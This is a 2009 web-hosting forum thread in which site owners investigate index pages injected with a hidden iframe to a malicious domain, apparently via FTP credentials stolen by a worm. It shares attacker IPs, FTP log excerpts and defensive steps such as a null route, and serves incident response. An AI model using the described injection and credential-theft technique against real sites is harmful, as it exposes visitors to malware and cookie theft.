Javascript Exploit

I started getting user complaints today about malware warnings on web pages. I checked and the top level index file was overwritten on 5/25/09 for each domain with the following script just after the body tag:


Only the top level index files in each domain's public_html folder were overwritten. No public_html subfolders appear to have been altered.

I'm resetting all passwords, but obviously wondering if there might be another security hole that allowed this. Googling the script turned up nothing.

Doe anyone here recognize this exploit?
TIA

That JS code creates a tiny IFRAME containing the page http://foxionserl.com/ (do no open it!). It may be used for cookie stealing or to spread other malware, anyway at the moment the site is down. I didn't find any worm with this behavior, I guess it's been a manual work.

Since the pages are owned by different users I guess that the attacker had root access, therefore I strongly suggest to hire a security consultant or to read all the suggestions on this forum about what to do, to discover who did this, how, when, for how long and to avoid this from happening again in the future.

Actually, it appears it was one reseller(patrickf) account that was compromised. Relevant section of Proftpd Access Log:

91.212.65.147 UNKNOWN patrickf [25/May/2009:15:59:41 -0500] "RETR index.html" 226 1069
91.212.65.147 UNKNOWN patrickf [25/May/2009:15:59:42 -0500] "STOR index.html" 226 1163
91.212.65.147 UNKNOWN patrickf [25/May/2009:15:59:50 -0500] "RETR index.html" 226 3045
91.212.65.147 UNKNOWN patrickf [25/May/2009:15:59:51 -0500] "STOR index.html" 226 3139
91.212.65.147 UNKNOWN patrickf [25/May/2009:15:59:59 -0500] "RETR index.html" 226 1446
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:00 -0500] "STOR index.html" 226 1540
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:19 -0500] "RETR index.html" 226 1069
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:21 -0500] "STOR index.html" 226 1163
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:28 -0500] "RETR index.html" 226 6496
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:29 -0500] "STOR index.html" 450 2788
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:35 -0500] "RETR index.html" 226 1097
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:36 -0500] "STOR index.html" 226 1191
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:39 -0500] "RETR index.html" 226 1058
91.212.65.147 UNKNOWN patrickf [25/May/2009:16:00:40 -0500] "STOR index.html" 226 1152

Click to expand...

The IP address is registered in the Ukraine. Other resellers were not affected. The reseller is not located in the Ukraine. I don't see any signs that the password was bruteforced - I'm wondering if it was compromised in an ftp session?

Well, this is much better. With any chance the password was just guessed: ask you customer to choose a different password, harder to guess.

Tillo - thanks for your input on this. The password has been reset with a more difficult one, but the old password was pretty good to begin with. I'm also advising a more secure ftp client.

Off topic - I was in your country in June of 2007. Visited Zurich, Interlaken, Lauterbrunnen and Grimselpass. Very beautiful country.

Thank you, yes I'm also quite happy to live here. It's a pleasure to live in the only country in the world that has a working direct democracy, among many other nice things.

To reenter the topic, you may suggest your customer to use FTPS or SFTP (needs SSH access unless using mod_sftp for ProFTPD) instead of plain FTP, and to install an antivirus in his machine to avoid password-fetching worms.

My server was also compromised. Aparently this is NOT just happening to Cpanel users but directadmin users as well. I am using cpanel. All index.html, htm, main.html files were changed to include the iframe. This happened across several domains.

They didn't GUESS at the passwords. The got right it with FTP. Server logs say pure-ftpd. However, one username they tried did not work. [email protected]. By chance did you ever have in the past or currently use phpld?

I googled the IP and thats how I came across this topic. Either my PC was compromised or something else....who knows. Any input would be great.

roady89 said:

My server was also compromised. Aparently this is NOT just happening to Cpanel users but directadmin users as well. I am using cpanel. All index.html, htm, main.html files were changed to include the iframe. This happened across several domains.

They didn't GUESS at the passwords. The got right it with FTP. Server logs say pure-ftpd. However, one username they tried did not work. [email protected]. By chance did you ever have in the past or currently use phpld?

I googled the IP and thats how I came across this topic. Either my PC was compromised or something else....who knows. Any input would be great.

Click to expand...

I have never used the username phpld. I didn't see any unsuccessful login attempts from that IP. I'm guessing that they're trolling for open ftp logins. The reseller account that was compromised on my machine is very active updating sites several times daily with a standard ftp client(working on changing that).

What's the best way to block a range of IP addresses in DA?

Looking at my log posted above, note that the RETR and STOR commands are one second apart with 3 - 9 seconds between STOR and RETR. I don't think these are manual operations.

I just thought I'd let you folks know...

I am not a DirectAdmin user. In fact, I am not involved in web hosting at all. I've arrived here because of a Google hit. This site is one of two I've found which mention this exploit. The other is here:


I just discovered this problem in my personal web pages, which are hosted by my ISP (RCN, a large cable provider in the Northeast US). Every one of my index.html files has been modified to include the code shown in the top post.

I noticed this because the small frame which has been inserted in the upper left corner of my web pages is visible in Firefox. (It's less obvious in IE.) My first thought was that my password had been stolen, since I use FTP to update my files, and I'd done so within the past week. (Yes, I know it's insecure, but it's all my ISP provides!)

However, my daughter has a separate account/password with the same ISP, and she has a web page which has also been modified, although she hasn't changed it or used FTP in years. All of the hacked files were modifed on Monday, May 25, 2009 at 11:42 PM EDT (give or take a minute).

I'm no network expert, but I suspect a serious threat here. The target web site (foxionserl.com), which is invoked by the inserted script, is currently showing an empty web page, but that could change. That domain name was just registered on May 20 in Birmingham, AL.

I've notified my ISP, which uses unix-based servers, although I question whether the first-level tech support I contacted really understood the severity of the problem.

Bobf, there is another 35 page thread on cpanel forum where users are having the same issues. That topic has been going on for a few years too. I don't think this is control panel related, I am leaning towards a spyware problem or perhaps open FTP (I am not sure what that is but anyways) I am disabling FTP during off hours until this problem is resolved and formatting my PC. There is a possibility my PC has been compromised, even though its a remote possibility, I'm still going to format and re-install. It took me 8 hours to fix this issue. I really don't want to risk doing it again.

For the moment I suggest changing ALL your passwords to something not as easy and do so from a different PC that you have never used to login with, possibly one on another network or something.

There is one common thing and thats FTP. I am using Filezilla.


Diogenes. I meant have you or someone else used phpld (phplinkdirectory script) on the server?

The reason I ask is there is only 2 people who knew the [email protected] username and pass. Myself being 1 and I gave 1 person the username and login info to fix an issue, then I prompty deleted the username "phpld" after he fixed the issue. I created the username so he could use it as a temp user and fix an issue. So now I am left wondering why or how someone knew this username when it has been deleted for months.

I created and deleted this username and pass on 6-15-2008. So almost a year has went by since it was deleted.

To me it seems more and more like a worm, it's the most plausible explanation for all that.

There is a [costantly updated, if it's been around for years] agent infecting machines and reading off access data from FTP clients, it calls home (91.212.65.147 is in the same subnet as foxionserl.com's address is) and sends that data to a central instance that tries it.
If successful, and if the path tree is the one from DA or CPanel, all index.html are downloaded, modified and overwrited.

Now, Elliott Herbert owner of foxionserl.com may not be the one responsible for this and his server may have been compromised for all this time... but the fact that he's in US and the IP address is ukranian is quite suspect, who in USA would want a server in Ukraine?
Also the fact that the domain is very recent doesn't mean that someone else registered it before... it can't be a coindicence that the host doing the FTP logins is in the same subnet as the A record of the domain.

Anyway, I guess that we will hear more about this or that maybe someone already investigated some more about it... I just don't have the time to look for it at the moment.

I'm thinking perhaps we should block 91.212.65.0/24 from our servers. Anyone else?

If you agre, which way do you think we should do it?

Jeff

Yes, that would be a good idea. In linux the best way is a null route: "route add -net 91.212.65.0 netmask 255.255.255.0 reject".

I apreciate the explanation. That makes sense to me now because I did use that user "phpld" to login and FTP files (one time)......if thats the case then my system at one point in time was compromised. As a matter of fact, about the time I created that username and pass is about the time I had some trouble with my FTP client. I could not login with FTP at all. I had to install the FTP client on a suspect machine (daughters PC). I then determined that something on MY machine (Malware) was causing me to not be able to login using FTP. So between my daughter PC and mine one of them could have very well been compromised.

I can't be sure WHAT has happened but I hope I have it locked down. I have disabled FTP on the server to be sure. I am the only one who maintains these sites so. I can re-enable it when needed. Until this "worm" as you call it is identified I suggest people use another machine to change all passwords, Block the IP from your server and whatever security measures you can do to secure your systems

jlasman said:

I'm thinking perhaps we should block 91.212.65.0/24 from our servers. Anyone else?

Click to expand...

No, and the reason for this is quite simple. It will just switch IP's and you end up firewalling IP's the rest of your life. Proper monitoring would be a whole lot better. It suprises me to be honest that you would want to go for such a solution.

There is no reason why he wouldn't change the IP address anyway, and a null route behave like a blackhole: he won't know if the server has his IP nullrouted of if it's simply down.
But you are right, IF you want an investigation to follow it's better to monitor and register all actions from that IP instead of nulrouting it.

I believe that what getUP is recommending is using monitoring for the behavior; not for the IP#s.

Sure behavior monitoring is a great idea; if anyone has developed a log monitor to catch this behavior, please post.

In the meantime, since we can create the block fairly simply, I think we'll go for it before I go for lunch .

Jeff

One more question, tillo ...

Do you think we'd be better off with your null route idea or a reject?
Thanks.

Jeff

I suggested nullrouting because iptables may already be used by a firewall and we have an alternative, but of course using iptables directly is better: instead of blocking packets to that network you block those from that network.
The problem with current firewall scripts is that they tend to channel all traffic in multiple chains where it is being treated/accepted/refused/etc, which is correct but makes further added rules pretty useless.